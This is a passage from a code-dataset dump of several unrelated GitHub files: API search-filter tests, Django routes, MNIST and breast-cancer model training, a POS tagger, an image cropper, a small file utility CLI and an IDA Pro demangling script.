expected payload, id\n return [\n pytest.param(\n dict(constellation=\"capella\"),\n {\"query\": {\"constellation\": {\"eq\": \"capella\"}}},\n id=\"constellation\",\n ),\n pytest.param(dict(bbox=[1, 2, 3, 4]), {\"bbox\": [1, 2, 3, 4]}, id=\"bbox\"),\n pytest.param(\n dict(\n constellation=\"capella\",\n limit=1,\n bbox=[1, 2, 3, 4],\n instrument_mode=\"spotlight\",\n product_type=\"GEO\",\n ),\n {\n \"limit\": 1,\n \"bbox\": [1, 2, 3, 4],\n \"query\": {\n \"constellation\": {\"eq\": \"capella\"},\n \"sar:instrument_mode\": {\"eq\": \"spotlight\"},\n \"sar:product_type\": {\"eq\": \"GEO\"},\n },\n },\n id=\"multi_filter\",\n ),\n pytest.param(\n dict(constellation=\"other\", doesnot=\"exist\", nerf=\"!\"),\n {\"query\": {\"constellation\": {\"eq\": \"other\"}}},\n id=\"filter_invalid_kwargs\",\n ),\n pytest.param(\n dict(constellation__INVALID=\"other\"),\n {},\n id=\"invalid_op\",\n ),\n pytest.param(\n dict(\n product_type=[\"SLC\", \"GEO\"],\n ),\n {\n \"query\": {\n \"sar:product_type\": {\"in\": [\"SLC\", \"GEO\"]},\n },\n },\n id=\"in_implicit\",\n ),\n pytest.param(\n dict(\n product_type__in=[\"SLC\", \"GEO\"],\n ),\n {\n \"query\": {\n \"sar:product_type\": {\"in\": [\"SLC\", \"GEO\"]},\n },\n },\n id=\"in_explicit\",\n ),\n pytest.param(\n dict(look_angle__gte=0.9, look_angle__lte=12.0),\n {\n \"query\": {\"view:look_angle\": {\"gte\": 0.9, \"lte\": 12.0}},\n },\n id=\"gte_lte\",\n ),\n pytest.param(\n dict(resolution_ground_range__gt=1, look_angle__lt=10),\n {\n \"query\": {\n \"capella:resolution_ground_range\": {\"gt\": 1},\n \"view:look_angle\": {\"lt\": 10},\n },\n },\n id=\"gt_lt\",\n ),\n # pytest.param(\n # dict(platform__startsWith=\"cap\"),\n # {\"query\": {\"platform\": {\"startsWith\": \"cap\"},},},\n # id=\"startsWith\",\n # ),\n pytest.param(\n dict(sortby=\"id\"),\n {\n \"sortby\": [{\"field\": \"id\", \"direction\": \"asc\"}],\n },\n id=\"singleSortby\",\n ),\n pytest.param(\n dict(sortby=\"-id\"),\n {\n \"sortby\": [{\"field\": \"id\", \"direction\": \"desc\"}],\n },\n id=\"singleSortbyDesc\",\n ),\n pytest.param(\n dict(sortby=[\"-datetime\", \"+id\"]),\n {\n \"sortby\": [\n {\"field\": \"properties.datetime\", \"direction\": \"desc\"},\n {\"field\": \"id\", \"direction\": \"asc\"},\n ],\n },\n id=\"multiSortby\",\n ),\n pytest.param(\n dict(sortby=[\"-datetime\", \"+id\", \"huffelpuff\"]),\n {\n \"sortby\": [\n {\"field\": \"properties.datetime\", \"direction\": \"desc\"},\n {\"field\": \"id\", \"direction\": \"asc\"},\n ],\n },\n id=\"multiSortbyOmits\",\n ),\n ]\n","repo_name":"capellaspace/console-client","sub_path":"tests/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":19236,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"53"}
+{"seq_id":"176244740","text":"from django.urls import path, re_path\r\nfrom . import views \r\n\r\nfrom .forms import ContactForm1, ContactForm2\r\n\r\napp_name = 'blog'\r\n\r\n\r\nnamed_contact_forms = (\r\n ('contactdata', ContactForm1),\r\n ('leavemessage', ContactForm2),\r\n)\r\ncontact_wizard = views.ContactWizard.as_view(named_contact_forms,\r\n condition_dict={'leavemessage': views.show_message_form_condition}, \r\n url_name='blog:contact_step')\r\n\r\n\r\nurlpatterns = [\r\n path('', views.post_list, name='post_list'),\r\n path('post//edit', views.post_edit, name='post_edit'),\r\n path('post//', views.post_detail, name='post_detail'),\r\n path('post/new', views.post_new, name='post_new'),\r\n re_path(r'^contact/(?P.+)/$', contact_wizard, name='contact_step'),\r\n path('contact/', contact_wizard, name='contact'),\r\n]","repo_name":"ibaran73/Instrument-Calibrations","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4091892132","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten\nfrom keras.utils import to_categorical\nfrom keras.models import load_model\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_absolute_error\n\nimport joblib\n\n\ndef get_high_index(values):\n\n values_nums = []\n\n for j in range(len(values)):\n\n max_value = values[j][0]\n max_index = 0\n\n for i in range(1, len(values[j])):\n if values[j][i] > max_value:\n max_value = values[j][i]\n max_index = i\n\n values_nums.append(max_index)\n\n return values_nums\n\n\ndef cnn(train_X, val_X, train_y, val_y):\n\n train_X_array = np.array(train_X)\n val_X_array = np.array(val_X)\n\n train_y_array = np.array(train_y)\n val_y_array = np.array(val_y)\n\n train_X_array = train_X_array.reshape(59999, 28, 28, 1)\n val_X_array = val_X_array.reshape(9999, 28, 28, 1)\n\n train_y_array = to_categorical(train_y_array)\n val_y_array = to_categorical(val_y_array)\n\n choice = int(input(\"1 to train, 2 to load: \"))\n file = \"data/\" + input(\"Filename to load or dump: \") + '.keras'\n\n if choice == 1:\n\n # create model\n model = Sequential()\n\n # add model layers\n model.add(Conv2D(64, kernel_size=3, activation='relu', input_shape=(28, 28, 1)))\n model.add(Conv2D(32, kernel_size=3, activation='relu'))\n model.add(Flatten())\n model.add(Dense(10, activation='softmax'))\n\n # compile model using accuracy to measure model performance\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n # model.summary()\n # model.get_weights()\n\n model.fit(train_X_array, train_y_array, validation_data=(val_X_array, val_y_array), epochs=3, verbose=1)\n\n open(file, 'w').close()\n model.save(file)\n\n cnn_predictions = model.predict(val_X_array)\n cnn_mae = mean_absolute_error(cnn_predictions, val_y_array)\n\n print(\"Validation MAE for CNN Model: {:,.5f}\".format(cnn_mae))\n\n elif choice == 2:\n index = 30\n\n ld_model = load_model(file)\n\n four_d = val_X_array[index:index + 2][:][:]\n\n # print(four_d.shape)\n # three_d = val_X_array[index][:][:].reshape(28, 28, 1)\n # plt.imshow(three_d)\n # plt.show()\n # print(ld_model.predict(four_d))\n\n print(get_high_index(ld_model.predict(four_d)))\n\n\ndef regression_tree(train_X, val_X, train_y, val_y):\n\n rf_model = RandomForestRegressor(n_jobs=-1, n_estimators=60, random_state=1, verbose=2)\n\n choice = int(input(\"1 to train, 2 to load: \"))\n file = 'data/' + input(\"Filename to load or dump: \") + \".txt\"\n\n if choice == 1:\n rf_model.fit(train_X, train_y)\n joblib.dump(rf_model, file)\n rf_val_predictions = rf_model.predict(val_X)\n\n elif choice == 2:\n loaded_rf = joblib.load(file)\n rf_val_predictions = loaded_rf.predict(val_X)\n\n else:\n for i in range(50, 150, 30):\n rf_model = RandomForestRegressor(n_jobs=-1, n_estimators=15, random_state=1, verbose=2)\n rf_model.fit(train_X, train_y)\n joblib.dump(rf_model, file)\n rf_val_predictions = rf_model.predict(val_X)\n print(str(i) + ': ' + str(mean_absolute_error(rf_val_predictions, val_y)))\n\n rf_val_mae = mean_absolute_error(rf_val_predictions, val_y)\n\n print(\"Validation MAE for Random Forest Model: {:,.5f}\".format(rf_val_mae))\n\n\ntrain = pd.read_csv('C:/mnist_train.csv')\nval = pd.read_csv('C:/mnist_test.csv')\n\ntrain_cols = list(train.columns)\ntrain.rename(columns={train_cols[i]: str(i) for i in range(len(train_cols))}, inplace=True)\n\nval_cols = list(val.columns)\nval.rename(columns={val_cols[i]: str(i) for i in range(len(val_cols))}, inplace=True)\n\nt_X = train[train.columns[1:len(train.columns)]] / 255.0\nv_X = val[val.columns[1:len(val.columns)]] / 255.0\n\nt_y = train['0']\nv_y = val['0']\n\n# regression_tree(t_X, v_X, t_y, v_y)\n\ncnn(t_X, v_X, t_y, v_y)\n","repo_name":"jmotamarry/Machine-Learning","sub_path":"model_training.py","file_name":"model_training.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"12415454282","text":"#!/usr/bin/env python\n\n'''Tags each word in a sentence with its part of speech. Combines compound words\nand removes stop words.'''\n\n__author__ = 'leila@cs.toronto.edu'\n\nimport nltk\nimport string\nimport stanford_tagger\nimport unicodedata\n\n# Must set JAVAHOME for the stanford tagger\nimport os\njava_path = \"/u/leila/jdk1.7.0_55/bin/java\"\nos.environ['JAVAHOME'] = java_path\n\nTAGGER = stanford_tagger.POSTagger('stanford-postagger/models/'\n 'english-bidirectional-distsim.tagger',\n 'stanford-postagger/stanford-postagger.jar')\n\n# Pronoun tags are PRP, PRP$, WP, WP$\n# IN is the tag for prepositions or subordinating conjunctions\n# Remaining tags refer to punctuation\nSTOPWORD_TAGS = ['PRP', 'PRP$', 'WP', 'WP$', 'IN', '#', '$', '\"', \"(\", \")\", \",\",\n '.', ':', '``', '\\'\\'']\n\ndef tag(sentence):\n '''Tags a sentence with its parts of speech. Combines compound words and\n removes stop words.\n\n Args:\n sentence: A string. The sentence whose parts of speech will be tagged.\n\n Returns:\n The same sentence, but as a list of tuples with its parts of speech tagged.\n Compound words are tagged as one and stop words are removed.\n eg [('hello', 'UH'), ('how', 'WRB'), ('are', 'VBP'), ('you', 'PRP')]\n '''\n # Normalize unicode characters so the tagger can convert them to ascii\n # ie e accent -> e\n sentence = unicodedata.normalize('NFKD', sentence).encode('ascii', 'ignore')\n \n tagged_sentence = TAGGER.tag(nltk.word_tokenize(sentence))\n # print \"Original tagged sentence:\\n%s\" % tagged_sentence\n tagged_sentence = combine_compound_words(tagged_sentence, sentence)\n return remove_stopwords(tagged_sentence)\n\n\ndef combine_compound_words(tagged_sentence, sentence):\n '''Replaces individual words that make up a compound word in tagged_sentence\n with the actual compound word.\n\n Args:\n tagged_sentence: A list of tuples of strings. Each tuple is of form\n (word, tag)\n \n Returns:\n The same tagged_sentence, but with constituent words of compound words\n combined into a single compound word.\n '''\n compound_words = find_compound_words(sentence)\n for c_word in compound_words:\n i = c_word[0]\n j = c_word[1]\n synset = c_word[2]\n constituent_words = ' '.join(split_into_words(sentence)[i:j + 1])\n (tagged_sentence, k) = remove_individual_compound_words(constituent_words,\n tagged_sentence)\n tagged_sentence.insert(k, (constituent_words, synset.pos))\n\n return tagged_sentence\n\n\ndef find_compound_words(sentence):\n '''Identifies compound words in sentence. Takes the longest possible compound\n word, if one is the subset of another.\n \n Args:\n sentence: A string.\n \n Returns:\n A list of tuples of each compound word's start and end indices and synset\n word, for all compound words found in sentence.\n eg [(0, 1, Synset)] if a 2-word compound word starts the sentence.\n '''\n all_compound_words = []\n sentence = split_into_words(sentence)\n \n # For each word, iteratively add on the words that follow to see if together\n # they form a compound word with a WordNet synset.\n for i, word in enumerate(sentence):\n test_compound_word = word\n for j in range(i + 1, len(sentence)):\n test_compound_word += ('_' + sentence[j])\n synsets = nltk.corpus.wordnet.synsets(test_compound_word)\n if synsets:\n for synset in synsets:\n all_compound_words.append((i, j, synset, test_compound_word))\n \n # Remove compound words that are a subset of another word\n final_compound_words = []\n for i in range(len(all_compound_words)):\n i1 = all_compound_words[i][0]\n j1 = all_compound_words[i][1]\n w1 = all_compound_words[i][3]\n subset = False\n for j in range(len(all_compound_words)):\n i2 = all_compound_words[j][0]\n j2 = all_compound_words[j][1]\n w2 = all_compound_words[j][3]\n if i != j and w1 in w2 and i1 >= i2 and j1 <= j2:\n subset = True\n if not subset:\n final_compound_words.append(all_compound_words[i])\n return final_compound_words\n\n\ndef split_into_words(sentence):\n '''Splits sentence into a list of words without punctuation.\n\n Args:\n sentence: A string\n\n Returns:\n A list of the words in sentence, with all punctuation removed.\n '''\n return \"\".join([i for i in sentence if i not in string.punctuation]).split()\n\n\ndef remove_individual_compound_words(constituent_words, tagged_sentence):\n '''Removes the individual words in tagged_sentence that are constituent words\n of a compound word.\n\n Args:\n constituent_words: A string of words that together form a compound word.\n tagged_sentence: A list of tuples of strings. Each tuple is of form\n (word, tag)\n\n Returns:\n A tuple. The first element is the tagged_sentence with the constituent\n words removed, and the second element is the index in tagged_sentence\n where the removal began.\n '''\n tagged_constituents = TAGGER.tag(nltk.word_tokenize(constituent_words))\n cur_i = 0\n start_i = False\n end_i = 0\n for i, tup in enumerate(tagged_sentence):\n if tup == tagged_constituents[cur_i]:\n cur_i += 1\n if not start_i:\n start_i = i\n elif tup == tagged_constituents[0]:\n start_i = i\n cur_i = 1\n else:\n cur_i = 0\n\n if cur_i == len(tagged_constituents):\n end_i = i + 1\n break\n\n return (tagged_sentence[0:start_i] + tagged_sentence[end_i:], start_i)\n\n\ndef remove_stopwords(tagged_sentence):\n '''Removes stopwords from a part-of-speech tagged_sentence.\n Pronouns, prepositions, and punctuation are considered stopwords.\n\n Args:\n tagged_sentence: A list of tuples of strings. Each tuple is of form\n (word, tag)\n\n Returns:\n The list, but without any tuples containing stop words.\n '''\n sentence_without_stopwords = []\n for word in tagged_sentence:\n tag = word[1]\n if tag not in STOPWORD_TAGS:\n sentence_without_stopwords.append(word)\n\n return sentence_without_stopwords\n","repo_name":"leilacc/varada","sub_path":"tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":6013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36600130559","text":"from __future__ import print_function\r\nfrom PIL import Image\r\n\r\nimport io\r\nimport uuid\r\n\r\nclass ImageResize:\r\n def resize(self, stream, crop):\r\n print('Cropping direction:', crop)\r\n\r\n image = Image.open(io.BytesIO(stream))\r\n print('Image Stats:', image.format, image.size, image.mode)\r\n\r\n # Calculate image region to crop\r\n pointX = 0\r\n pointY = 0\r\n width, height = image.size\r\n region = (pointX, pointY, width, height)\r\n\r\n if crop.lower() == 'left':\r\n region = (pointX, pointY, int(width / 2), height)\r\n elif crop.lower() == 'right':\r\n region = (int(width / 2), pointY, width, height)\r\n\r\n # Crop the image with the calculated region\r\n with image.crop(region) as newImage:\r\n path = 'csn-' + str(uuid.uuid4()) + '.' + str(image.format)\r\n newImage.save(path)\r\n return path\r\n","repo_name":"heisthedon/cyclops","sub_path":"apps/image_resize.py","file_name":"image_resize.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"43605197283","text":"import argparse, json, os, pprint\n\nparser = argparse.ArgumentParser()\n\ndef rf():\n parser.add_argument('-f', '--file', help=\"File to delete\", required=True)\n args = parser.parse_args()\n os.remove(args.file)\n\ndef pp():\n parser.add_argument('-f', '--file', help=\"File to print\", required=True)\n args = parser.parse_args()\n pprint.pprint(json.loads(open(args.file, 'r').read()))\n\ndef dl():\n parser.add_argument('-u', '--url', help=\"URL To Download\", required=True)\n parser.add_argument('-n', '--name', help=\"Name Of File\", required=True)\n args = parser.parse_args()\n downsyndrome.download(url=args.url,file_name=args.name)\n with open(args.name,'wb') as f:\n response = requests.get(args.url)\n f.write(response.content)\n","repo_name":"FormerlyChucks/pclt","sub_path":"pclt/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"25166753689","text":"import idautils\nimport idaapi\nimport idc\nimport re\n\nfrom dataclasses import dataclass\n@dataclass\nclass DemanglingOptions:\n\tskip_removes = False\n\tskip_prefixes = False\n\tskip_detemplating = False\n\tskip_illegals = False\n\tskip_detilding = False\n\n\nclass Demangler:\n\t# regular expression to replace some illegal c++ mangle chars for IDA names\n\tILLEGAL_CHARS = \"`',()<>*+-/.&={}#!\"\n\tILLEGAL_CHARS = re.compile(\"[\" + ILLEGAL_CHARS + \"]\")\n\n\t# regular expression to remove c++ templates\n\tDETEMPLATER = r\"[<][^<>]*[>]\"\n\tDETEMPLATER = re.compile(DETEMPLATER)\n\n\t# if demangled function starts with this prefix, then skip demangling it\n\tPREFIX_SKIP_LIST = [\n\t\t\"fmt::v7\",\n\t\t\"spdlog::\",\n\t\t\"__gnu_cxx::\",\n\t\t\"boost::\",\n\t\t\"nlohmann::\",\n\t\t\"eka::\",\n\t\t\"operator delete\",\n\t\t\"operator new\",\n\t\t\"__gnu_internal::\",\n\t\t\"__cxxabiv1::\",\n\t]\n\n\t# remove this substrings from demangled name\n\tREMOVE_LIST = [\n\t\t\"`anonymous namespace'::\",\n\t\t\"`virtual thunk to'\",\n\t\t\"`non-virtual thunk to'\",\n\t\t\"[abi:cxx11]\",\n\t]\n\n\tdef __init__(self, demangling_options: DemanglingOptions = DemanglingOptions()):\n\t\tself.demangling_options = demangling_options\n\t\tself.renamer = Renamer()\n\n\tdef demangle_selected_objects(self, *addresses):\n\t\tfor obj_ea in addresses:\n\t\t\tname = idaapi.get_name(obj_ea)\n\t\t\tif name == '': continue\n\n\t\t\tdemangled_name = self.demangle_string(name)\n\t\t\tif demangled_name is None: continue\n\n\t\t\tself.renamer.add_rename(obj_ea, demangled_name)\n\n\t\tself.renamer.resolve_conflicts()\n\t\tself.renamer.apply_renames()\n\n\tdef demangle_string(self, string_to_demangle: str):\n\t\t# global constructors\n\t\tif string_to_demangle.startswith(\"_GLOBAL__sub_I_\"):\n\t\t\tstring_to_demangle = string_to_demangle[15:]\n\n\t\tdfname = idaapi.demangle_name(string_to_demangle, idaapi.MNG_NODEFINIT | idaapi.MNG_NORETTYPE)\n\t\tif dfname is None: return None\n\t\treturn self.post_demangle(dfname)\n\n\t@classmethod\n\tdef apply_removes(cls, func_name):\n\t\tfor remover in cls.REMOVE_LIST:\n\t\t\tfunc_name = func_name.replace(remover, '')\n\t\treturn func_name\n\n\t@classmethod\n\tdef apply_prefixes(cls, func_name):\n\t\tfor prefix in cls.PREFIX_SKIP_LIST:\n\t\t\tif func_name.startswith(prefix):\n\t\t\t\treturn None\n\t\treturn func_name\n\n\t@classmethod\n\tdef apply_detemplater(cls, func_name):\n\t\tnew_name = re.sub(cls.DETEMPLATER, '', func_name)\n\t\twhile func_name != new_name:\n\t\t\tfunc_name = new_name\n\t\t\tnew_name = re.sub(cls.DETEMPLATER, '', func_name)\n\n\t\treturn func_name\n\n\t@classmethod\n\tdef apply_illegals(cls, func_name):\n\t\treturn re.sub(cls.ILLEGAL_CHARS, '_', func_name)\n\t\n\t@classmethod\n\tdef apply_detilder(cls, func_name):\n\t\tif '~' in func_name:\n\t\t\tfunc_name = func_name.replace('~', '')\n\t\t\tfunc_name = func_name + \"_destructor\"\n\t\treturn func_name\n\n\tdef post_demangle(self, func_name):\n\t\toriginal_name = func_name\n\t\tdef apply_func(func, should_skip):\n\t\t\tnonlocal func_name\n\t\t\tif func_name is None: return None\n\t\t\tif should_skip:\n\t\t\t\treturn func_name\n\t\t\tfunc_name = func(func_name)\n\n\t\tapply_func(self.apply_removes, self.demangling_options.skip_removes)\n\t\tapply_func(self.apply_prefixes, self.demangling_options.skip_prefixes)\n\t\tapply_func(self.apply_detemplater, self.demangling_options.skip_detemplating)\n\t\tapply_func(self.apply_illegals, self.demangling_options.skip_illegals)\n\t\tapply_func(self.apply_detilder, self.demangling_options.skip_detilding)\n\n\t\tif func_name is not None and ' ' in func_name:\n\t\t\treturn None\n\n\t\tif func_name is None:\n\t\t\tprint(\"Failed to demangle\", original_name)\n\n\t\treturn func_name\n\n\nclass Renamer:\n\tdef __init__(self):\n\t\tself.functions_to_rename = {}\n\t\tself.conflicting_names = {}\n\t\tself.renames_applied = {}\n\t\tself.renames_failed = {}\n\t\tself.original_names = {}\n\t\tself.origname2newname = {}\n\n\tdef add_conflict(self, funcea, new_name):\n\t\tconflicts = self.conflicting_names.setdefault(new_name, [])\n\t\tconflicts.append(funcea)\n\n\tdef add_rename(self, funcea, new_name):\n\t\tconflicts = self.conflicting_names.get(new_name, None)\n\t\tif conflicts is not None:\n\t\t\tconflicts.append(funcea)\n\t\t\treturn\n\n\t\tadded_funcea = self.functions_to_rename.pop(new_name, None)\n\t\tif added_funcea is not None:\n\t\t\tself.add_conflict(funcea, new_name)\n\t\t\tself.add_conflict(added_funcea, new_name)\n\t\t\treturn\n\n\t\texisting_ea = idc.get_name_ea_simple(new_name)\n\t\tif existing_ea != idaapi.BADADDR:\n\t\t\tself.add_conflict(funcea, new_name)\n\t\t\treturn\n\n\t\torig_name = idaapi.get_name(funcea)\n\t\tself.original_names[funcea] = orig_name\n\t\tself.origname2newname[orig_name] = new_name\n\t\tself.functions_to_rename[new_name] = funcea\n\n\tdef resolve_conflicts(self):\n\t\tdef name_conflicts(func_name):\n\t\t\tif idc.get_name_ea_simple(func_name) != idaapi.BADADDR:\n\t\t\t\treturn True\n\t\t\treturn func_name in self.functions_to_rename\n\n\t\tfor new_name, funcs in self.conflicting_names.items():\n\t\t\tidx = 0\n\t\t\tfor funcea in funcs:\n\t\t\t\tresolved_name = new_name\n\t\t\t\twhile name_conflicts(resolved_name):\n\t\t\t\t\tidx += 1\n\t\t\t\t\tresolved_name = new_name + str(idx)\n\t\t\t\tself.functions_to_rename[resolved_name] = funcea\n\n\t\tself.conflicting_names.clear()\n\n\tdef count_conflicts(self):\n\t\treturn sum(len(x) for x in self.conflicting_names.values())\n\n\tdef print_info(self):\n\t\tself.print_renamed()\n\t\tself.print_fails()\n\t\tself.print_conflits()\n\n\tdef print_conflits(self, print_full=False):\n\t\tprint(\"conflicting_functions\", self.count_conflicts())\n\t\tfor new_name, objects in self.conflicting_names.items():\n\t\t\tprint(\"conflicted dfname\" + '(' + str(len(objects)) + ')', new_name)\n\t\t\tif print_full == False: continue\n\n\t\t\tfor obj_ea in objects:\n\t\t\t\tname = idaapi.get_name(obj_ea)\n\t\t\t\tprint('\\t', hex(obj_ea), name)\n\n\tdef print_fails(self):\n\t\tprint(\"failed renames\", len(self.renames_failed))\n\t\tfor obj_ea, new_name in self.renames_failed.items():\n\t\t\tobj_name = self.original_names.get(obj_ea)\n\t\t\tprint(\"failed to rename\", obj_name, \"at\", hex(obj_ea), \"to\", new_name)\n\n\tdef print_renamed(self):\n\t\tprint(\"total renamed:\", len(self.renames_applied))\n\t\tfor obj_ea, new_name in self.renames_applied.items():\n\t\t\tobj_name = self.original_names.get(obj_ea)\n\t\t\tprint(\"successfully renamed\", obj_name, \"at\", hex(obj_ea), \"to\", new_name)\n\n\tdef apply_renames(self):\n\t\tfor new_name, funcea in self.functions_to_rename.items():\n\t\t\tsetnamerv = idc.set_name(funcea, new_name)\n\t\t\tif setnamerv == 1:\n\t\t\t\tself.renames_applied[funcea] = new_name\n\t\t\telse:\n\t\t\t\tself.renames_failed[funcea] = new_name\n\t\tself.functions_to_rename.clear()\n\n\ndef demangle_selected_objects(*addresses, demangling_options=DemanglingOptions()):\n\trenamer = Renamer()\n\tdemangler = Demangler(demangling_options=demangling_options)\n\n\tfor obj_ea in addresses:\n\t\tname = idaapi.get_name(obj_ea)\n\t\tif name == '': continue\n\n\t\tdemangled_name = demangler.demangle_string(name)\n\t\tif demangled_name is None: continue\n\n\t\trenamer.add_rename(obj_ea, demangled_name)\n\n\trenamer.resolve_conflicts()\n\trenamer.apply_renames()\n\treturn renamer\n\ndef get_objects():\n\taddresses = []\n\tfor segea in idautils.Segments():\n\t\tsegname = idc.get_segm_name(segea)\n\t\tif segname not in (\".data\", \".idata\"):\n\t\t\tcontinue\n\n\t\tsegstart = idc.get_segm_start(segea)\n\t\tsegend = idc.get_segm_end(segea)\n\t\tfor i in range(segstart, segend):\n\t\t\tif idaapi.get_name(i) != '':\n\t\t\t\taddresses.append(i)\n\treturn addresses\n\ndef demangle_all_objects(demangling_options=DemanglingOptions()):\n\tdemangler = Demangler(demangling_options=demangling_options)\n\treturn demangler.demangle_selected_objects(*get_objects())\n\ndef get_functions():\n\t# TODO demangle imports?\n\treturn [fea for fea in idautils.Functions(0, idaapi.BADADDR)]\n\ndef demangle_all_functions(demangling_options=DemanglingOptions()):\n\tdemangler = Demangler(demangling_options=demangling_options)\n\treturn demangler.demangle_selected_objects(*get_functions())\n\ndef demangle_everything(demangling_options=DemanglingOptions()):\n\teverything = get_objects() + get_functions()\n\tdemangler = Demangler(demangling_options=demangling_options)\n\tdemangler.demangle_selected_objects(*everything)\n\trenamer = Renamer()\n\n\tfor struc_idx in range(idaapi.get_first_struc_idx(), idaapi.get_last_struc_idx() + 1):\n\t\tstruc_id = idaapi.get_struc_by_idx(struc_idx)\n\t\tif struc_id == idaapi.BADADDR: continue\n\t\tstruc = idaapi.get_struc(struc_id)\n\t\tif struc is None: continue\n\t\tstruc_name = idaapi.get_struc_name(struc_id)\n\t\tfor m in struc.members:\n\t\t\tmember_name = idaapi.get_member_name(m.id)\n\t\t\tif member_name is None:\n\t\t\t\tprint(f\"Failed to get member name of {struc_name} at {hex(m.m.soff)}\")\n\t\t\t\tcontinue\n\n\t\t\tnew_member_name = renamer.origname2newname.get(member_name)\n\t\t\tif new_member_name is None:\n\t\t\t\tnew_member_name = demangler.demangle_string(member_name)\n\n\t\t\tif new_member_name is None:\n\t\t\t\tcontinue\n\n\t\t\tif not idaapi.set_member_name(struc, m.soff, new_member_name):\n\t\t\t\tprint(f\"Failed to rename member of {struc_name} at {hex(m.m.soff)} to {new_member_name}\")\n\ndef main():\n\tdemangle_everything()\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"Mizari/scripts","sub_path":"demangler.py","file_name":"demangler.py","file_ext":"py","file_size_in_byte":8744,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"28921743408","text":"# %%\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\n\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.utils import shuffle\r\nimport seaborn as sns\r\nfrom sklearn import svm\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import LabelEncoder # label encoder converts string to labels\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import confusion_matrix, classification_report\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense,Dropout\r\nfrom tensorflow.keras.callbacks import EarlyStopping\r\n\r\n# %%\r\ncurrent_loc = os.getcwd()\r\nprint(current_loc)\r\n\r\n# %%\r\ndataframe = pd.read_csv('data.csv')\r\n\r\n# %%\r\ndataframe.head(5)\r\n\r\n# %%\r\ndataframe.columns\r\n\r\n# %%\r\ndataframe.set_index('id')\r\n\r\n# %%\r\ndataframe.describe()\r\n## from this we can see that the last column is null\r\ndataframe.info()\r\ndataframe.shape\r\n# we just made sure that all columns has non null values except for last.. check if there are any values in the last column. the name os 'Unnamed: 32'\r\n\r\n# %%\r\ndataframe['Unnamed: 32'].describe() ## everything is null so drop it\r\n\r\n\r\n# %%\r\ndataframe.drop('Unnamed: 32', inplace=True, axis=1)\r\n\r\n# %%\r\ndataframe.columns\r\n\r\n\r\n# %%\r\n# 1 diagnosis is the prediction column\r\ndataframe.diagnosis.describe()\r\n\r\n# %%\r\ndataframe.describe()\r\ndataframe.info()\r\n\r\n\r\n# %%\r\npd.unique(dataframe.diagnosis) # M is the malignant , B is benign\r\n\r\n# %%\r\n\r\n\r\n# %%\r\nencoder = LabelEncoder()\r\ndataframe.diagnosis = encoder.fit_transform(dataframe.diagnosis)\r\n\r\n# %%\r\npd.unique(dataframe.diagnosis) # M is the malignant , B is benign it is usually done according to the ascending so Benign is 0 and malignant = 1\r\n\r\n# %%\r\ndataframe.describe()\r\n\r\n# %%\r\n# check if there is any na \r\ndataframe.isna().sum() # proved there is nothing.\r\n\r\n# %%\r\n## now we try logistic regression before scaling\r\n\r\n# %%\r\n#now check if there is any imbalance in the data\r\n\r\nsns.countplot(x = 'diagnosis', data = dataframe)\r\n\r\n# %%\r\n\r\n#plt.figure(figsize=(8,5))\r\nax = sns.countplot(x='diagnosis',data=dataframe)\r\nfor p in ax.patches:\r\n ax.annotate('{:}'.format(p.get_height()), (p.get_x()+0.35, p.get_height()+5),fontweight='bold',color='red')\r\n\r\n# %%\r\ndataframe.drop('id', inplace=True, axis=1)\r\n\r\n# %%\r\n\r\n\r\n# %%\r\nscaler = StandardScaler()\r\n\r\n# %%\r\n\r\ndataframe = shuffle(dataframe)\r\n\r\n# %%\r\ntrain_data_X = dataframe.drop('diagnosis',axis = 1)\r\ntrain_data_Y = dataframe['diagnosis']\r\n\r\n\r\n# %%\r\n\r\n\r\n# %%\r\nX_train, X_test, Y_train, Y_test = train_test_split(train_data_X, train_data_Y, test_size=0.2)\r\n\r\nX_train = scaler.fit_transform(X_train)\r\nX_test = scaler.fit_transform(X_test)\r\n\r\n# %%\r\n\r\n# %%\r\n\r\n\r\n# %%\r\nclf = LogisticRegression(C = 0.40, max_iter = 200)\r\nclf.fit(X_train,Y_train)\r\npred_lr = clf.predict(X_test)\r\n\r\nprint(classification_report(Y_test, pred_lr))\r\nprint(confusion_matrix(Y_test, pred_lr))\r\nsns.heatmap(confusion_matrix(Y_test, pred_lr),annot=True,fmt='.0f')\r\n\r\n# %%\r\n\r\n\r\n# %%\r\nclf=RandomForestClassifier(n_estimators=100)\r\n#Train the model using the training sets y_pred=clf.predict(X_test)\r\nclf.fit(X_train,Y_train)\r\n\r\nY_pred = clf.predict(X_train)\r\npred_rfc = clf.predict(X_test)\r\nprint(classification_report(Y_test, 